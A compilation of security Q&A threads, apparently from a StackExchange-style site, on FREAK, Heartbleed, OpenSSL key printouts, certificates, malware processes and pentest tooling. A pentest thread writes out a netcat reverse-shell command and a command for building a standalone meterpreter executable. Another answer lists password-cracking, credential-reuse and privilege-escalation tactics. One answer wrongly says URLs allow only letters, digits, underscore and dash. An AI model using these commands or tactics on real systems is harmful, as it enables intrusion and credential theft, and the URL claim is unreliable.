Can someone explain, in simple terms, how the FREAK attack on browsers works? Is there a reason it only affects browsers on Windows machines and not Mac's or UNIX/LINUX environments? A lot of the wording on this site is particularly complicated and I don't understand fully what the FREAK attack entails.

I have Chrome, and apparently that wasn't affected by the FREAK attack. But it says it's on Windows machines only.

In simple terms:

Your browser starts to connect to an HTTPS website, asking to use a strong cipher.
The attacker intercepts this request and replaces it with one asking to use weak "export-grade" encryption.
The server gets this modified request and responds to your browser with an export-grade encryption key.
Your browser doesn't notice the key it got is weaker than the one it asked for, and finishes setting up the SSL session using this weak key.
The attacker can now record your session and break the encryption on it in a matter of minutes to hours, or if the server re-uses keys (most of them do), use a previous break to read (and potentially modify) your traffic as it goes by.

Note that the "FREAK" attack requires three things in order to work:

A server that still supports export-grade encryption.  Less than a quarter of them do.
A browser with a buggy SSL library that doesn't notice that what it asks for isn't what it got.
An attacker sitting between a vulnerable browser and a server with an out-of-date configuration.

As far as I can tell, the "FREAK" vulnerability affects the SChannel library (Internet Explorer and related Windows browsers), Apple's SSL library (Safari and other MacOSX/IOS browsers), and OpenSSL (most Android browsers and a scattering of Linux browsers).  The NSS library (Firefox and Chrome) does not appear to be affected.


TCrypto - Comments about design decisions I made? I have pushed some code to GitHub to demonstrate the usage of symmetric key encryption in PHP. It is a small key-value storage library and it (optionally) offers ability to encrypt the stored information. I would like to hear your comments about a couple of design decisions I made:

Encryption is done using AES in CBC mode (random IV), with "encrypt-then-MAC" authentication. The information is basically a PHP array, which is serialized and optionally compressed (gzdeflate). This string is then encrypted. I would like to hear some opinions would it be worth it to add an another ("inner") MAC verification, which would take care of checking that the data is valid after uncompression? At first, this sounds like a waste of time, since there is already one MAC check. But on the other hand, this could counter some issues that might arise because of errors in the uncompression layer etc. Any comments about this?

Another thing, crypto experts recommends that when using CTR mode, the nonce should be generated using a unique and increasing "message number". However, in TCrypto there is no way to keep a list of such message numbers, so I have made the decision not to use CTR mode. Do you think it would be safe to use CTR mode by generating the "nonce" randomly (/dev/urandom)? Encryption keys in TCrypto are derived using a constant key, timestamps and the IV (this ensures the encryption keys are unique for each encryption operation).

https://github.com/timoh6/TCrypto

Any other comments?

Thanks a lot!

Timo

There is no need for an inner MAC.  It is not clear to me what issue you are referring.  I am assuming your scheme works like this: compress the data, then apply encrypt-then-MAC to the compressed data.  If the MAC digest is valid, then you can be sure that after decrypting you will be processing the same data that the sender sent, so there is no need to have another MAC.
It depends which variant of CTR mode you use, and how the counter is formed.  In the simplest form, to encrypt a n-block message under the IV v, we use v, v+1, v+2, .., v+n-1 as the counters, so let me assume that's what you are doing (if not, please specify).  Generating a random 128-bit counter using /dev/urandom is fine.
It sounds like you are doing something fancy to generate the key used to encrypt each message.  I cannot comment on that, because you haven't provided enough specifics on what you are doing.

If you split this up into multiple questions, and provide more details, we may be able to provide you with better answers.


How is the Heartbleed exploit even possible? I have read about the Heartbleed OpenSSL vulnerability and understand the concept. However what I don't understand is the part where we pass 64k as the length and the server returns 64kb of random data because it does not check whether we really passed 64kb of echo message or 1 byte.

But how is it even possible for a process on a server to return 64kb of random data from the RAM?

Isn't the operating system supposed to prevent access to the real RAM and only allow access to virtual memory where one process cannot access the memory contents of other processes?

Does OpenSSL run in kernel mode and thus has access to all the RAM?

I would expect a segmentation fault if a process tried to access any memory that it didn't explicitly allocate. I can understand getting 64kb of random data from the process which is running the OpenSSL program itself but I don't see how it can even see the complete RAM of the server to be able to send it back to the client.

UPDATE:
@paj28's comment, yes it was precisely the false information that led me to wonder about this. As you said, even the official heartbleed.com advisory phrases it in a misleading way (although I would say they did so because it's intended for a much wider audience than just us technical folks and they wanted to keep it simple)

For reference, here is how heartbleed.com states it(emphasis mine):

  The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software.

For any technical person that would imply the complete RAM of the virtual/physical machine.

@paj28's comment covers the main point. OpenSSL is a shared library, so it executes in the same user-mode address space as the process using it. It can't see other process' memory at all; anything that suggested otherwise was wrong.

However, the memory being used by OpenSSL - the stuff probably near the buffer that Heartbleed over-reads from - is full of sensitive data. Specifically, it's likely to contain both the ciphertext and the plaintext of any recent or forthcoming transmissions. If you attack a server, this means you'll see messages sent to the server by others, and server responses to those messages. That's a good way to steal session tokens and private information, and you'll probably catch somebody's login credentials too. Other data stored by OpenSSL includes symmetric encryption keys (used for bulk data encryption and integrity via TLS) and private keys (used to prove identity of the server). An attacker who steals those can eavesdrop on (and even modify) the compromised TLS communication in realtime, or successfully impersonate the server, respectively (assuming a man-in-the-middle position on the network).

Now, there is one weird thing about Heartbleed that makes it worse than you might expect. Normally, there'd be a pretty good chance that if you try and read 64k of data starting from an arbitrary heap address within a process, you'd run into an unallocated memory address (virtual memory not backed by anything and therefore unusable) pretty quickly. These holes in a process address space are pretty common, because when a process frees memory that it no longer needs, the OS reclaims that memory so other processes can use it. Unless your program is leaking memory like a sieve, there usually isn't that much data in memory other than what is currently being used. Attempting to read unallocated memory (for example, attempting to access memory that has been freed) causes a read access violation (on Windows) / segmentation fault (on *nix), which will make a program crash (and it crashes before it can do anything like send data back). That's still exploitable (as a denial-of-service attack), but it's not nearly as bad as letting the attacker get all that data.

With Heartbleed, the process was almost never crashing. It turns out that OpenSSL, apparently deciding that the platform memory management libraries were too slow (or something; I'm not going to try to justify this decision), pre-allocates a large amount of memory and then uses its own memory management functions within that. This means a few things:

When OpenSSL "frees" memory, it doesn't actually get freed as far as the OS is concerned, so that memory remains usable by the process. OpenSSL's internal memory manager might think the memory is not allocated, but as far as the OS is concerned, the OpenSSL-using process still owns that memory.
When OpenSSL "frees" memory, unless it explicitly wipes the data out before calling its free function, that memory retains whatever values it had before being "freed". This means a lot of data that isn't actually still in use can be read.
The memory heap used by OpenSSL is contiguous; there's no gaps within it as far as the OS is concerned. It's therefore very unlikely that the buffer over-read will run into a non-allocated page, so it's not likely to crash.
OpenSSL's memory use has very high locality - that is, it's concentrated within a relatively small range of addresses (the pre-allocated block) - rather than being spread across the address space at the whim of the OS memory allocator. As such, reading 64KB of memory (which isn't very much, even next to a 32-bit process' typical 2GB range, much less the enormous range of a 64-bit process) is likely to get a lot of data that is currently (or was recently) in use, even though that data resides in the result of a bunch of supposedly-separate allocations.


Can CRL and CA Issuers urls contain spaces? I am using OpenSSL
For example, I have a CRL/CA Issuers URL that is like this:
http://pki.example.com/Example Intermediate Certificate Authority.crl

#CA Issuers
caIssuers;URI.0 = http://pki.example.com/Example Intermediate Certificate Authority.crt

So, I add them to the config file like:
 crlDistributionPoints = @crl_section
 authorityInfoAccess = @ocsp_section

 [crl_section]
 URI.0 = http://pki.example.com/Example Intermediate Certificate Authority.crl

 [ocsp_section]
 OCSP;URI.0 = http://pki.example.com/ocsp/
 caIssuers;URI.0 = http://pki.example.com/Example Intermediate Certificate Authority.crt

Is the above config going to result in an invalid cert?

Generally URL cannot contain Space and Only Allowed to Use in URL 0-9,a-z _- (dash).If you need to use space in url try it with _ (underscore). CRL is not specialized URL and same rule apply for them as well.


Wrong size for EC key pair I'm using OpenSSL to generate EC key pairs. I notice that the length of the keys as displayed by OpenSSL are exactly one byte longer than expected for both private and public Key.

The 00 (first Byte of private key) is  ASN.1 encoded integer, it ensures the value is interpreted as non-negative and the first Byte of the public Key 04 is for the uncompressed Key.

The private key is 33 bytes (not 32 bytes), and the public key is 65 bytes, (not 64 bytes)

  Private-Key: (256 bit)

  priv:

  00:b5:15:94:05:96:a0:6b:03:4e:9d:49:01:ce:50:
  71:f7:6a:fe:28:24:2a:24:23:b2:0e:d6:a0:b5:6a:
  0f:65:d3

  pub:

  04:db:b4:97:f3:5d:17:45:e5:79:4f:db:c2:bd:ea:
  19:2c:fd:3a:dc:bc:19:49:91:e1:e1:59:9f:0c:7a:
  9e:e7:97:c1:ad:4c:a8:53:b6:b0:af:d8:7e:58:34:
  90:e1:d1:0b:85:9d:89:e1:4c:7c:b8:b6:2d:27:70:
  62:66:9e:b2:ac

  ASN1 OID: prime256v1

  NIST CURVE: P-256

How can I delete the first Byte for the private and public key? or otherwise, How can I adjust the size of the private to 32 Bytes and public key to 64 Bytes?

Does the leading 00 change the value of the number?

I am using OpenSSL 1.0.2k 26 Jan 2017

I'm not sure why you want to cut off bytes. So I'm not sure if this is a good answer to your question here goes anyway.
Here's what I found out from reading the RFCs/experimenting.
How can I adjust the size of the private to 32 Bytes and public key to 64 Bytes?

You don't have to. They are already in that form. It's just a bit confusing to read from the openssl printout.
Does the leading 00 change the value of the number?

The answer is "No" if you were going to parse it as an unsigned int anyway. (And "yes" if you were (erroneously) going to parse it as a signed int. In that case you need to keep the 0x00 prefix.)
TLDR: The leading 0x00 is a SIGN BYTE that openssl adds for the printout only. It is NOT encoded in the certificate itself. And I guess you can cut of the leading byte (one of 0x02, 0x03 or 0x04) of the pubkey because it just stores info on whether compressed or noncompressed encoding is used.
Sample key with leading nullbyte
Here's an example of a random key I generated:
$ cat leading-nullbyte.pem
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIN/37NFyCvL7brp4zljP83sNj1PvtFsp8dMR86EDwLZUoAoGCCqGSM49
AwEHoUQDQgAEK0acP7Ml6fgKy35YE7JGVP7AmNy7oJ6gl4QIqiwiSExbr4iDPfxT
81550HxXoiQiBJXBJxhgXYpIcJVmFGk20w==
-----END EC PRIVATE KEY-----

ec printout leading-nullbyte.pem
This key is shown with the "00:" prefix for the private key.
At least when using the openssl pretty printer...
$ openssl ec -noout -text -in leading-nullbyte.pem
read EC key
Private-Key: (256 bit)
priv:
    00:df:f7:ec:d1:72:0a:f2:fb:6e:ba:78:ce:58:cf:
    f3:7b:0d:8f:53:ef:b4:5b:29:f1:d3:11:f3:a1:03:
    c0:b6:54
pub:
    04:2b:46:9c:3f:b3:25:e9:f8:0a:cb:7e:58:13:b2:
    46:54:fe:c0:98:dc:bb:a0:9e:a0:97:84:08:aa:2c:
    22:48:4c:5b:af:88:83:3d:fc:53:f3:5e:79:d0:7c:
    57:a2:24:22:04:95:c1:27:18:60:5d:8a:48:70:95:
    66:14:69:36:d3
ASN1 OID: prime256v1
NIST CURVE: P-256

asn1parse leading-nullbyte.pem
...however when actually looking inside the ASN1 encoding there is no 00: prefix. It just starts with df: right away. And also: length is given as 32 (l=  32). Not 33.
    5:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - df f7 ec d1 72 0a f2 fb-6e ba 78 ce 58 cf f3 7b   ....r...n.x.X..{

Here's those lines in context:
$ openssl asn1parse -i -dump -in leading-nullbyte.pem
    0:d=0  hl=2 l= 119 cons: SEQUENCE
    2:d=1  hl=2 l=   1 prim:  INTEGER           :01
    5:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - df f7 ec d1 72 0a f2 fb-6e ba 78 ce 58 cf f3 7b   ....r...n.x.X..{
      0010 - 0d 8f 53 ef b4 5b 29 f1-d3 11 f3 a1 03 c0 b6 54   ..S..[)........T
   39:d=1  hl=2 l=  10 cons:  cont [ 0 ]
   41:d=2  hl=2 l=   8 prim:   OBJECT            :prime256v1
   51:d=1  hl=2 l=  68 cons:  cont [ 1 ]
   53:d=2  hl=2 l=  66 prim:   BIT STRING
      0000 - 00 04 2b 46 9c 3f b3 25-e9 f8 0a cb 7e 58 13 b2   ..+F.?.%....~X..
      0010 - 46 54 fe c0 98 dc bb a0-9e a0 97 84 08 aa 2c 22   FT............,"
      0020 - 48 4c 5b af 88 83 3d fc-53 f3 5e 79 d0 7c 57 a2   HL[...=.S.^y.|W.
      0030 - 24 22 04 95 c1 27 18 60-5d 8a 48 70 95 66 14 69   $"...'.`].Hp.f.i
      0040 - 36 d3                                             6.

So the leading 0x00 is not actually encoded in the certificate file. While I have not taken a look at the openssl source code in regards to that I'm leaning towards calling this a printout bug.
According to RFC5915 (I think) an EC key is an UNSIGNED integer.
ASN.1 Editor "leading-nullbyte.pem": no actual null byte
As an afterthought: Here's also an actual hexdump of the DER contents. And again: no actual 0x00 in the file.

Sample key WITHOUT leading nullbyte
Here's another random key I generated. It does NOT have the 0x00 prefix when using the openssl ec pretty printer.
So this tells me that that 0x00 prefix is not necessarily there for each EC privkey.
$ cat no-leading-nullbyte.pem
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIAGcFoPfqfFZ5TDv71ZBBCctapiVKwZikE8HfKf61V1DoAoGCCqGSM49
AwEHoUQDQgAENPjKv9vobJnz1FSlSu5cNPyPwCvcsMmIr5HH92C+mZdVtanHwlTm
29IwOE5lSE8KMywIJs8pLCvX79kJhZ/upg==
-----END EC PRIVATE KEY-----

ec printout no-leading-nullbyte.pem
$ openssl ec -noout -text -in no-leading-nullbyte.pem
read EC key
Private-Key: (256 bit)
priv:
    01:9c:16:83:df:a9:f1:59:e5:30:ef:ef:56:41:04:
    27:2d:6a:98:95:2b:06:62:90:4f:07:7c:a7:fa:d5:
    5d:43
pub:
    04:34:f8:ca:bf:db:e8:6c:99:f3:d4:54:a5:4a:ee:
    5c:34:fc:8f:c0:2b:dc:b0:c9:88:af:91:c7:f7:60:
    be:99:97:55:b5:a9:c7:c2:54:e6:db:d2:30:38:4e:
    65:48:4f:0a:33:2c:08:26:cf:29:2c:2b:d7:ef:d9:
    09:85:9f:ee:a6
ASN1 OID: prime256v1
NIST CURVE: P-256

asn1parse no-leading-nullbyte.pem
Here again length is given as 32:
    5:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - 01 9c 16 83 df a9 f1 59-e5 30 ef ef 56 41 04 27   .......Y.0..VA.'

Full parse:
$ openssl asn1parse -i -dump -in no-leading-nullbyte.pem
    0:d=0  hl=2 l= 119 cons: SEQUENCE
    2:d=1  hl=2 l=   1 prim:  INTEGER           :01
    5:d=1  hl=2 l=  32 prim:  OCTET STRING
      0000 - 01 9c 16 83 df a9 f1 59-e5 30 ef ef 56 41 04 27   .......Y.0..VA.'
      0010 - 2d 6a 98 95 2b 06 62 90-4f 07 7c a7 fa d5 5d 43   -j..+.b.O.|...]C
   39:d=1  hl=2 l=  10 cons:  cont [ 0 ]
   41:d=2  hl=2 l=   8 prim:   OBJECT            :prime256v1
   51:d=1  hl=2 l=  68 cons:  cont [ 1 ]
   53:d=2  hl=2 l=  66 prim:   BIT STRING
      0000 - 00 04 34 f8 ca bf db e8-6c 99 f3 d4 54 a5 4a ee   ..4.....l...T.J.
      0010 - 5c 34 fc 8f c0 2b dc b0-c9 88 af 91 c7 f7 60 be   \4...+........`.
      0020 - 99 97 55 b5 a9 c7 c2 54-e6 db d2 30 38 4e 65 48   ..U....T...08NeH
      0030 - 4f 0a 33 2c 08 26 cf 29-2c 2b d7 ef d9 09 85 9f   O.3,.&.),+......
      0040 - ee a6                                             ..

ASN.1 Editor no-leading-nullbyte.pem

Extra: How do I know that the 0x00 is a sign byte?
... by experimentation:
I generated a thousand keys like so:
$ for i in $(seq -w 1000); do echo $i; openssl ecparam -name prime256v1 -genkey -noout > key.$i.pem; done

And then I sorted and counted them by first byte like so:
$ for i in $(seq -w 1000); do openssl ec -noout -text -in key.$i.pem 2>/dev/null | grep '^priv:' -A1 | tail -1; done | sed 's/ *//' | sed 's/\(..\).*/\1/' | sort | uniq -c

    496 00
      3 01
      3 02
      4 03
      5 04
      4 05
      5 06
      3 07
      1 08
      3 09
      1 0a
      3 0b
      2 0c
      2 0d
      3 0e
      4 0f
      4 11
      6 12
      1 14
      7 15
      3 16
      7 17
      4 18
      1 19
      6 1a
      3 1b
      3 1c
      3 1d
     11 1e
      3 1f
      6 20
      4 21
      2 22
      3 23
      8 24
      3 25
      2 26
      7 27
      3 28
      7 29
      4 2a
      4 2b
      9 2c
      2 2d
      5 2e
      2 2f
      5 30
      7 31
      6 32
      3 33
      6 34
      8 35
      5 36
      2 37
      2 38
      5 39
      2 3a
      1 3b
      4 3c
      3 3d
      2 3e
      2 3f
      2 40
      3 41
      5 42
      5 43
      3 44
      4 45
      5 46
      4 47
      5 48
      5 49
      5 4a
      5 4b
      8 4c
      6 4d
      3 4e
      5 4f
      4 50
      2 51
      4 52
      2 53
      2 54
      3 55
      7 56
      2 57
      5 58
      3 59
      3 5a
      5 5b
      2 5d
      1 5e
      9 5f
      3 60
      3 61
      3 62
      6 63
      3 64
      1 65
      7 66
      4 67
      3 68
      4 69
      4 6a
      3 6b
      6 6c
      4 6d
      3 6e
      3 6f
      7 70
      4 71
      2 72
      5 73
      2 74
      1 75
      5 76
      3 77
     10 78
      2 79
      7 7a
      5 7b
      6 7c
      6 7d
      5 7e
      5 7f

The highest byte is 0x7f. And that is the final byte that still has a 0 as the most significant bit. (I won't post all thousand of them here but all the privkeys that had 0x00 as their first byte then had their second byte >= 0x80. (There were no privkeys that started with 0x0000.) And all the privkeys did NOT have 0x00 as their first byte then had their second byte <= 0x7f.)


Protecting yourself from a malicious VPN I am connecting to a VPN server that has been compromised and is under the complete control of an attacker.  The virtual network itself contains numerous attackers waiting for a new target.  What steps should be taken to protect myself in this hostile environment?

(Yes, I have to use a VPN that is the point of the question.)

Just don't use the VPN. Honestly.

If there is a reason why you want to use that VPN you can do the same as for normal network.

Firewall
Anti-Virus
Use sandbox like virtual machines
Keep uptodate of your software and OS
Maintain maximum network isolation in order not to compromise other computers.


I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is This process that has come out of nowhere is hogging my CPU and I have no clue what it is or how to get rid of it. You can see in the image below what it's doing:

What is this process? How can I get rid of it?

Every time I kill the process, it spawns back up within a minute or less.

Someone on stackoverflow suggested I come here instead.

How can I get rid of the "watchbog" process?

One of the great things about Linux is that you can just redeploy it free. I highly suggest you just wipe your OS and re-install. Trouble shooting the virus is almost always an exercise in futility in my experience. So backing up files and doing a re-install is good ROI.

If you really want to get rid of the process without reinstall, start with a "locate" for it. It's running as ./ so it's most likely local somewhere on the file system. Chances are it's got a sister process that will re-install it if you delete it, but I'd start by hunting down the location of ./watchbog and then seeing if it's a binary or script and go from there.


Pentest -- handling multiple reverse shells I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :-

nc <my-ip> <my-port> -e /bin/bash

However, I'm trying to figure out the best way to manage these incoming connections. Are there any suggestions on best practices related to this? I had a look at metasploits meterpreter shell -- however it seems to be sending a payload back to the client. I dont require this, I merely require the connections to be handled properly.

Metasploit has multiple payloads divided into single, stager, and stage. Single payload is all encapsulated in one executable and don't require any additional downloads. For example, payload/windows/shell_reverse_tcp is a single payload which can be used as a standalone executable.

By default the meterpreter payload is a staged payload. If you generate it through msfconsole/msfpayload/msfvenom then the first stage is generated and when executed, it downloads the second stage metsrv.dll from the handler. However, there is a standalone meterpreter payload outside the Metasploit official tree created by Sherif Eldeeb. You can download it from Sherif Eldeep github repository.

From the github repositoty, download the ultimet.zip archive and generate the standalone executable as:

ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload

-t is the transport you choose. You can other transports such as reverse/bind http(s) as well. The above command is going to create a new executable in the directory having a name REVERSE_TCP__LPORT.exe. This is a standalone meterpreter executable where the second stage metsrv.dll is encapsulated in the same executable. However, note that the reverse_https transport currently has a bug where the connection crashes every time you connect to the handler. reverse_tcp is very reliable.

Use the ExitOnSession false option in the msfconsole and you can handle as many sessions as you want. Also, I have noticed that multiple connections can be handled more efficiently through the Armitage more easily but it is only a matter of preference. msfconsole is also very good in handling multiple connections where you can automate a lot of post exploitation tasks using resource scripts.

Update: As of pull request 4925, stageless meterpreter is now part of official Metasploit distribution. This is not integration of Sharif's work but rather a complete rewrite from OJ Reeves.


Questions to help decide which SSL cert to get for three websites on Windows server First of all, my first Stack Exchange question! I hope I'm at the right place.

Secondary, I know TLS is the successor of SSL, but since everywhere I go, they just called it SSL, I'm using it for this entry. Unless I'm wrong on that...

Scenario

I need to decide which SSL certifications to get for three websites under a single parent company, but each websites have it's own identity, and one of them does not want to be known to be under the other (for marketing reason).

Question 1

Based on my price research, getting multiple single-domain SSL is actually cheaper than getting one multi-domain SSL? Example is this: https://sslmate.com/pricing (I hope I'm allowed to post link). If I get three single-domain, it's $15.95 times 3. If I get multi-domain with three domains, it's $24.95 times 3.

Question 2

From what I understand, multi-domain SSL allows different domains to be identified as under the same organisation.

If I have no need for this, is there any other advantage of just getting multiple single-domain SSL?

Question 3

If the above assumption is correct, is the "multi-domain SSL allows different domains to be identified as under the same organisation" limited to EV or OV?

Question 4

While I assume there is no difference if we are using Windows server and not Linux, I can't find a Google search result that supports this. All I found from Google is that installing SSL is done differently. Does having Windows server affect the decision to get which SSL cert?

Question 5

(Sorry, the more I type, the more questions pop up in my head...)

Does having SSL affect SMTP/email in any positive way?

Some background before getting to the answers.

Certificate Authority

The choice of vendor for a company's certificates is an important one. The certificate provider is what's called a Certificate Authority. Purchasing a certificate creates a implicit trust or custodial relationship between the company and the Certificate Authority.

It is similar to choosing a lawyer. If the company has assets and its brands value, do not choose a CA solely on the basis of price. Research equivalent companies and brands in the relevant sectors and see what CAs they are using (this can be determined by clicking on the lock icon in the browser URL bar).
Terminology

TLS is the slightly more correct way to refer to the more recent improvements to the encryption protocol, but SSL is still colloquially accurate.

Answers:

Only one multi-domain certificate needs to be purchased to service three different domains, not three multi-domain certificates.

The presence of three domains on the single certificate could be an indication for those who care to look that the three domains may be related. However, few people care to look and any relationship is not obvious to ordinary consumers. If the distinction is branding rather than corporate- 3 brands under one company, rather than 3 separate companies- the single multi-domain certificate does not by itself introduce a conflict.
Convenience and cost. Certificates are purchased and have to be deployed in web servers and/or load balancers, and the unit of cost and unit of deployment is the individual certificate. Purchasing and deploying one certificate that addresses the needs of every brand- for companies with many brands- is significantly cheaper and more convenient than purchasing and deploying individual certificates for each brand.
No, a multidomain certificate does not need to be EV or OV.
No, while the installation process depends on the specific web server or load balancing software- and therefore operating system platform- the certificate- a file generated by the Certificate Authority- is the same.
Having SSL/TLS on a website has no impact on email service. Furthermore, it is possible to use a certificate on a mail server for outgoing and/or for inbound mail, but it does not add appreciably to the security attributes of one's email, nor does it make a significant difference in one's email reputation.

Email is a different protocol from web- store-and-forward, vs end-to-end- and guarantees offered by a sender's or recipient's certificates do not apply to the full path traversed by email messages, as they do with web requests and responses.


Can an HTTPS site be malicious or unsafe? I know it's possible for a computer to be infected just by visiting a website. I also know that HTTPS websites are secure.

To my understanding, "secure" here refers to "immune to MITM attacks", but since such websites have certificates and such, is it right to assume they are "clean" and non-malicious?

No, HTTPS does not necessarily mean that a site is not malicious.  HTTPS means very little as to the security of a site.  It's specifically geared to keep your communication with the site secure from eavesdroppers and tampering, but offers nothing as to the security of the site itself.

Yes, a site serving content over HTTPS has a certificate.  That means that the individual who requested the certificate from the CA has an email address that is associated with the domain. Except in the case of Extended Validation certificates (the ones that offer a green address bar) this is literally all it means.  Nobody from the CA is validating that the site is safe, secure, and not serving malware.   Any site, with an SSL cert or without, can have bugs and vulnerabilities that allow an attacker to leverage them to serve an exploit.  Or a admin or user who has the ability to either maliciously or unknowingly cause the site to serve malware. Even if the site itself does not, if it serves advertisements (or any other content, for that matter) from an ad network or another site, that could be vulnerable.

So, HTTPS means that nobody should be able to view or tamper with your traffic.  That is all that it means.


Scan the codebase for username passwords What would be the best way to scan a codebase to ensure there are no production-level credentials included in the codebase? We have tried doing Static Scans via some major tools but I do still see some credentials that are still lingering around and possibly more.

What would be the best way to do this?

I'm going to go off tangent here and answer the real problem rather than your presupposed solution.

The way to prevent production credentials from being checked in code repository is to not let developers have production credentials in the first place during development. Have separate development and production credentials and possibly a separate development and operations team. Developers have the ability to check in code but doesn't have access to production environment and doesn't know production credentials; operations have access to production environment and production credentials, but only read access to the code repository. The few people that needs to act as both developer and operations, need to be properly trained to separate development and operations role.

To make this separation easy, you should also never check in the config file to code repository. Instead have an example config and when deploying to new environment, operations should copy this file and modifies that. Developers need to be trained to copy over config changes (e.g. new config entries) to the example config to make an example in the example config.


Automatically enumerate missing patches on penetration test Nessus, when running a credentialed scan can check patch levels and return vulnerabilities when a package is one that hasn't been updated to the latest, non-vulnerable version.

What is a good way of doing this to look for privilege escalation vulnerabilities - say when you get shell access to a server under a limited user account, but want to elevate to that of root?

Commands such as dkpg --list can be used on Ubuntu in order to enumerate patch levels. However, this is very much a manual, time consuming task.

Are there any approaches that can speed up privilege escalation on a Linux host? Two techniques that are useful are running scripts such as unix-privesc-check and linuxprivchecker.py. However, they don't automatically check the patch level as described above. The latter does in a fashion, but I believe it only does some basic checks and as it is not maintained it is not as useful against more up to date hosts.

Other thoughts that I've had is to run some type of binary that would effectively run an SSH server on a non privileged port, protected with my own credentials rather than those of the host machine. This would enable Nessus to complete a credentialed scan of the machine.

Nessus, surprisingly at times, often comes up with results you would never expect in both good and bad ways. Be sure you are configuring it correctly -- credentialed scans can be hard to get right.

OpenVAS has a lot of checks that Nessus does not and works in a very similar way. However, Nessus does have a ton of checks. It may be OS or environment dependent for best results, so run both.

CVEDetails is a great source, where you can narrow down into specific product, version, et al. It will often link out to other, often original resources -- or sometimes spell out a specific exploit or Metasploit module (e.g., use .*linux/gather/enum <tab>, <tab> <tab>). If it doesn't then search for the vulnerability name, CVE with number, patch number or level, or other associated information on exploitsearch.net. I grab a lot of shells or even get ideas for new privilege escalation exploits by querying these two websites daily.

Many other tools could be helpful depending on perspective. Is anything running on any local network ports? Can NeXpose or Nmap identify those ports? What about IPC or pipes? The vulscan NSE script also provides wonderful direction beyond even the default (-sC) and deeper NSE planning, configuration, and analysis. Packet analysis (e.g., pyshark provides a programmatic interface) may also be of use here. There are tons of NSE scripts for a variety of target platforms available third-party on GitHub and perhaps other places. You may need to create your own NSE scripts on occasion. Mapping known ports or services from Nmap to Metasploit is most easily accomplished with a tool or technique such as metasploitHelper.

I would caution using tools such as linuxprivchecker.py, Linux_Exploit_Suggester, linux-exp-suggester, or the various kernel exploits you find from other means. One of the primary cautions you should be aware of is SMEP. More about SMEP can be found in one of the answers on this exact forum, including how to query for it. It can be disabled at boot with a grub parameter of `nosmep' or by using an LKM. If SMEP is enabled, running kernel exploits without modification may cause a kernel panic, which means it will crash the system.

There are many ways to escalate privilege besides CVEs. Before I move on from the topic, you may find that cloning (N.B., as close as possible if you do not know all of the details) the target into your own controlled environment can allow you to run as root in order to understand your target better. Tools such as cvechecker may be incredibly useful in these cloned environments, as well as rerunning  your Nessus, OpenVAS, and perhaps even CIS-CAT or ovaldi checks.

Some tools, such as LinEnum, shine whether run as root or as a less-privileged user, perhaps similarly to unix-privesc-check. I have received a lot of help from the use of these tools in a variety of environments -- cloned or owned. I have seen a few custom scripts (mostly for the PWK labs from Offensive Security) that work like these, but it is also worth it to mention unprivileged host-enumeration scripts that target hardening such as Lynis, Bastille, and LSAT / USAT. For another comprehensive list of OS-default commands, external tools, and techniques, be sure to check out -- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

For target environments where there are password-protected root and other "live" accounts, there may be many ways to attack the identity and trust relationships in order to steal credentials. A lot of privilege escalation (and I say that this has been true over the past 50 years of computer use and abuse) is about guessing relationships (e.g., known_hosts, authorized_keys2, hosts.equiv, et al), cracking passwords (e.g., hashes), brute-forcing login, remote (e.g., ssh keys), or su/sudo prompts, etc. There are many tools that perform or aid in these tasks on Kali Linux and elsewhere. So many techniques have been developed, even in recent years. Two you should definitely be aware of are sucrack and phrasendrescher.

The key thing about passwords is reuse. If you find any file, service, or configurable on a system (or nearby system, such as on the same network -- perhaps even extending much further such as a particular user's favorite password found from an already-existing credential dump such as the Adobe, RockYou, Gawker, and others found in tools such as recon-ng) and it has a password, then you should try that password everywhere you can, especially if it makes logical sense to do so. No tool can do this for you, but many can help change things up a bit. Many just provide straight-up password recovery. Recover one password for one user and you may find a path all the way to the top. In Kali Linux, the pack project is a great starting point, with tools such as dictstat, maskgen, and policygen. John and Hashcat reign supreme, especially with integrations to other tools (e.g., metasploit-framework, LAIR-framework, KvasirSecurity), and extensions such as statsprocessor. On a network where the real action is happening, you may be able to pick up tons of cleartext, weak-encryption, or scenario-driven (i.e., MITM condition) credentials. Tools in this space are easy-creds and PCredz, perhaps even better when combined with metasploit-framework modules such as the ones under the auxiliary/server and auxiliary/spoof hierarchies. Credentials can also be acquired via social engineering techniques -- let's not forget the basics with tools such as SET, et al.


Are snort rules applied per packet or per flow I would like to understand if snort rules are applied for each packet in a flow between a source and destination separately?
For instance, when packet 1 of the flow arrives at the IDS, all the rules in snort get evaluated, followed by packet 2 and so on?
If this is not true, when do the rules actually get evaluated?

Stream. Here is a good document regarding how snort uses libpcap to apply heuristic and signature based anomoly detection to network traffic; http://www.pearsonhighered.com/samplechapter/157870281X.pdf and when in doubt consult the manual https://www.snort.org/faq/readme-stream5


What are some ways that an attacker could use a 301 or 404 http response? So I know that there is not a definitive answer for this question, but I am curious to see what others might know about this subject. The company I work for sees a lot of external network sweeps, and also attempted POST and GET requests to our customer facing website. Although I am able to see that nothing malicious has occurred (other than the attempt), I am curious to know the following:

Whether or not a 301 OR 404 HTTP/1.1 response to a malicious attackers POST or GET request actually stops them from 'posting' or 'getting'?
Can these response codes inevitably help the attacker out?
Are there better ways to have servers response to external request (how?)?

References are highly appreciated!

Whether or not a 301 OR 404 HTTP/1.1 response to a malicious attackers
  POST or GET request actually stops them from 'posting' or 'getting'?

The "attacker" sends a post request to the server, the server receives the request and responds to it with a code and maybe some content.

For a 404 code for instance, it's a common practice to send an html page with the 404 error as well.

What the server does with the request upon receiving it depends on the server. If the POST request was to insert a record in a database the server could very well insert the record in the db and then reply with a 404.

It would be a crappy implementation, but it can certainly be done.

  Can these response codes inevitably help the attacker out?

Of course. The response usually contains headers with information about the server. Even if you disable the headers, the response can be used to obtain information about your server with fingerprinting techniques.

How helpful this information is will very much depend on context.

  Are there better ways to have servers response to external request
  (how?)?

I'm not sure what you're asking here. You can disable certain headers, try to fool fingerprinting software like nmap, and a myriad other measures that would change how the servers respond and maybe improve protection.

